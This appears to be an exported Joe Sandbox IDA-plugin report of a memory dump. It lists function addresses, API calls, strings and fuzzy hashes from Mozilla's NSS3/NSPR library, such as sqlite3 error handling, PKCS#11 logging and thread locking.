Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 84f6e60270b873b5bf19e335ede44e8364a518f43c777defb0ce42703ea2c3ad
Instruction ID: 6106790eaf8e23609cd09d723854ff11c9532eb50bce59898821e2ab9ce1c20f
Opcode Fuzzy Hash: 84f6e60270b873b5bf19e335ede44e8364a518f43c777defb0ce42703ea2c3ad
Instruction Fuzzy Hash: 0051CEB1E01216ABDF00DFA8DC45AAE77B4BB06349F14C135D814A7B12E731A915CBEE

Function 6C724C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C724CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C724CFD
sqlite3_value_text16.NSS3(?), ref: 6C724D44

Strings

bad parameter or other API misuse, xrefs: 6C724D05
out of memory, xrefs: 6C724C78, 6C724C9E
another row available, xrefs: 6C724D20
no more rows available, xrefs: 6C724D2E
unknown error, xrefs: 6C724D56
abort due to ROLLBACK, xrefs: 6C724D27, 6C724D33
API call with %s database connection pointer, xrefs: 6C724CF6
invalid, xrefs: 6C724CF1

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 3507746ccf8fa93d6c10d310b67e49ebcf88de9919d69bc53533051726c1ce75
Instruction ID: d20f984e5d4986f1caa022d4c81b56f581435f2f232f62a3877840c1ca14a411
Opcode Fuzzy Hash: 3507746ccf8fa93d6c10d310b67e49ebcf88de9919d69bc53533051726c1ce75
Instruction Fuzzy Hash: A531CB73E08811A7D7084A2CAB127A57721B783318F150535C9244BF55C7BCAC91B7E6

Function 6C682CD0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C682CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C682D07

Part of subcall function 6C7609D0: PR_Now.NSS3 ref: 6C760A22
Part of subcall function 6C7609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C760A35
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C760A66
Part of subcall function 6C7609D0: PR_GetCurrentThread.NSS3 ref: 6C760A70
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C760A9D
Part of subcall function 6C7609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C760AC8
Part of subcall function 6C7609D0: PR_vsmprintf.NSS3(?,?), ref: 6C760AE8
Part of subcall function 6C7609D0: EnterCriticalSection.KERNEL32(?), ref: 6C760B19
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C760B48
Part of subcall function 6C7609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C760C76
Part of subcall function 6C7609D0: PR_LogFlush.NSS3 ref: 6C760C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C682D22

Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(?), ref: 6C760B88
Part of subcall function 6C7609D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C760C5D
Part of subcall function 6C7609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C760C8D
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760C9C
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(?), ref: 6C760CD1
Part of subcall function 6C7609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C760CEC
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760CFB
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C760D16
Part of subcall function 6C7609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C760D26
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760D35
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C760D65
Part of subcall function 6C7609D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C760D70
Part of subcall function 6C7609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C760D90
Part of subcall function 6C7609D0: free.MOZGLUE(00000000), ref: 6C760D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C682D3B

Part of subcall function 6C7609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C760BAB
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760BBA
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C682D54

Part of subcall function 6C7609D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C760BCB
Part of subcall function 6C7609D0: EnterCriticalSection.KERNEL32(?), ref: 6C760BDE
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(?), ref: 6C760C16

Strings

pLabel = 0x%p, xrefs: 6C682D4F
nvl, xrefs: 6C682D6C, 6C682D9A
pPin = 0x%p, xrefs: 6C682D1D
ulPinLen = %d, xrefs: 6C682D36
C_InitToken, xrefs: 6C682CE7
slotID = 0x%x, xrefs: 6C682D02

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken$nvl
API String ID: 420000887-506700037
Opcode ID: ef7b5359429b0a0586b3b60ace916b72e40df43bf4c13400fdcbc6675a6f3562
Instruction ID: 955d1e8f7988c384628d13504675b998b6af728c9adcb911813f16929084d8b2
Opcode Fuzzy Hash: ef7b5359429b0a0586b3b60ace916b72e40df43bf4c13400fdcbc6675a6f3562
Instruction Fuzzy Hash: 7B218675202148AFDB009F54DE8CE453FF6EB4235DF448034E90897A62DB309959CB7E

Function 6C722D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C722D9F

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

sqlite3_exec.NSS3(?,?,6C722F70,?,?), ref: 6C722DF9
sqlite3_free.NSS3(00000000), ref: 6C722E2C
sqlite3_free.NSS3(?), ref: 6C722E3A
sqlite3_free.NSS3(?), ref: 6C722E52
sqlite3_mprintf.NSS3(6C78AAF9,?), ref: 6C722E62
sqlite3_free.NSS3(?), ref: 6C722E70
sqlite3_free.NSS3(?), ref: 6C722E89
sqlite3_free.NSS3(?), ref: 6C722EBB
sqlite3_free.NSS3(?), ref: 6C722ECB
sqlite3_free.NSS3(00000000), ref: 6C722F3E
sqlite3_free.NSS3(?), ref: 6C722F4C

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 0e6a4e4ec064bad3a4a2e42bc72709a20611f34633e53df68bd94d7e87707af0
Instruction ID: b39af2a6352e5ed4a62118d0c17db90a238e48776222c0a02910b1962d4f26b3
Opcode Fuzzy Hash: 0e6a4e4ec064bad3a4a2e42bc72709a20611f34633e53df68bd94d7e87707af0
Instruction Fuzzy Hash: E36190B5E112058BEB10CF68D989B9EB7B5EF88368F154038DC15A7701EB39E845CBA1

Function 6C667C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7B2120,Function_00097E60,00000000,?,?,?,?,6C6E067D,6C6E1C60,00000000), ref: 6C667C81

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

TlsGetValue.KERNEL32 ref: 6C667CA0
EnterCriticalSection.KERNEL32(?), ref: 6C667CB4
PR_Unlock.NSS3 ref: 6C667CCF

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

TlsGetValue.KERNEL32 ref: 6C667D04
EnterCriticalSection.KERNEL32(?), ref: 6C667D1B
realloc.MOZGLUE(-00000050), ref: 6C667D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C667DF4
PR_Unlock.NSS3 ref: 6C667E0E

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 96db53677b634acf98d3b06285864869eb5c8aedae084c48ef9f62a148587d49
Instruction ID: cd0d8d44517823f72526ae685aab853acb2ea2a1c4186cb4cc9c4450451460b2
Opcode Fuzzy Hash: 96db53677b634acf98d3b06285864869eb5c8aedae084c48ef9f62a148587d49
Instruction Fuzzy Hash: D5510271A05104AFDB009F2ADC44E6537F6EB42399F154539ED0887B21EB319855CB9A

Function 6C5D4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D97
PR_Lock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4DBA
PR_WaitCondVar.NSS3 ref: 6C5D4DD4
PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4DEF

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 8aaacbb53f269875e8be44293b8c15b2196d29bfa51fd197a381209bcb6ae6bb
Instruction ID: b5fcaae559bf753048d4b60958587037310b3b922127659d4ecc4e21f5f8e7a1
Opcode Fuzzy Hash: 8aaacbb53f269875e8be44293b8c15b2196d29bfa51fd197a381209bcb6ae6bb
Instruction Fuzzy Hash: 85414DB5A04715CFCB00EF7CD48855977F4BF06318B168A79D8989B710EB30E895CB9A

Function 6C678F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C67905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C6790EC

Part of subcall function 6C640F00: PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B
Part of subcall function 6C640F00: PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679111

Strings

nvl, xrefs: 6C6790A3

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: nvl
API String ID: 2831689957-2622381835
Opcode ID: afe78bc33f057b9082db7b430dd6efd43c97ea06c247e4ff300a89fba2d6200a
Instruction ID: d74f2e93babd35cd936143d9b71e5b7503c60e8e16c168bc921b4e38c40c5d29
Opcode Fuzzy Hash: afe78bc33f057b9082db7b430dd6efd43c97ea06c247e4ff300a89fba2d6200a
Instruction Fuzzy Hash: 2E51AB70A042158FCF10EF38C488699BBF1BF0A358F0559B9DC449B716EB35E885CBA9

Function 6C767CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C767CE0

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767D36
PR_Realloc.NSS3(?,00000080), ref: 6C767D6D
PR_GetCurrentThread.NSS3 ref: 6C767D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6C767DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767DD8
malloc.MOZGLUE(00000080), ref: 6C767DF8
PR_GetCurrentThread.NSS3 ref: 6C767E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6C767DF0
:%s:%d:0x%lx, xrefs: 6C767DB9

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 4978e56abe8437ca07889259ed1ddbcdab4789e49a15037a7569e24729fe38cf
Instruction ID: 64153eb4e07bb59d13acc5c6b0697457555c35f0535ace9c42039f709e538c9a
Opcode Fuzzy Hash: 4978e56abe8437ca07889259ed1ddbcdab4789e49a15037a7569e24729fe38cf
Instruction Fuzzy Hash: 9341D8B16002059FDB04CF2ACE8596B37A9FF80358B19496CEC198BF51D731E941CBA1

Function 6C767E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6C767E46

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6C767EAF
PR_ImportFile.NSS3(?), ref: 6C767ECF
PR_GetCurrentThread.NSS3 ref: 6C767ED6
PR_ImportTCPSocket.NSS3(?), ref: 6C767F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6C767F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6C767F15

Strings

%d:0x%lx, xrefs: 6C767EA9
NSPR_INHERIT_FDS, xrefs: 6C767E41

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 766f7eb6e59f4c25f796785d927f12365496e99f2f1ce7739f968e7251e2f7c0
Instruction ID: 5aed24a47e2b6f0d90098e2c41fc9ecb3ac5bd061177fdc0f13a5bc1c43393df
Opcode Fuzzy Hash: 766f7eb6e59f4c25f796785d927f12365496e99f2f1ce7739f968e7251e2f7c0
Instruction Fuzzy Hash: C6312170A041199BEB009B6ACA84AABB7BDEB46388F244575DC05A7E11F7219D09C792

Function 6C674E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C674E90
EnterCriticalSection.KERNEL32 ref: 6C674EA9
TlsGetValue.KERNEL32 ref: 6C674EC6
EnterCriticalSection.KERNEL32 ref: 6C674EDF
PL_HashTableLookup.NSS3 ref: 6C674EF8
PR_Unlock.NSS3 ref: 6C674F05
PR_Now.NSS3 ref: 6C674F13
PR_Unlock.NSS3 ref: 6C674F3A

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

Strings

bUgl, xrefs: 6C674F3F
bUgl, xrefs: 6C674E5C

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUgl$bUgl
API String ID: 326028414-433878880
Opcode ID: 8c04866d5e1a484c448429671e38cb2bba25ce4b7672756b61ca3b25611e7919
Instruction ID: 43928d472bb7bf6bee02f62fa467335f81323fca9321d0c8d15164fb7999d30c
Opcode Fuzzy Hash: 8c04866d5e1a484c448429671e38cb2bba25ce4b7672756b61ca3b25611e7919
Instruction Fuzzy Hash: 64417EB4A00605DFCB00EF78C0888AABBF0FF49354B118569EC598B710EB30E855CFA5

Function 6C686C40 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C686C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C686C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C686CA3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C686CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C686CD5

Strings

nvl, xrefs: 6C686CF4, 6C686D1F
pMechanism = 0x%p, xrefs: 6C686CD0
C_DigestInit, xrefs: 6C686C61
hSession = 0x%x, xrefs: 6C686C7E, 6C686C8E
(CK_INVALID_HANDLE), xrefs: 6C686C9C

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

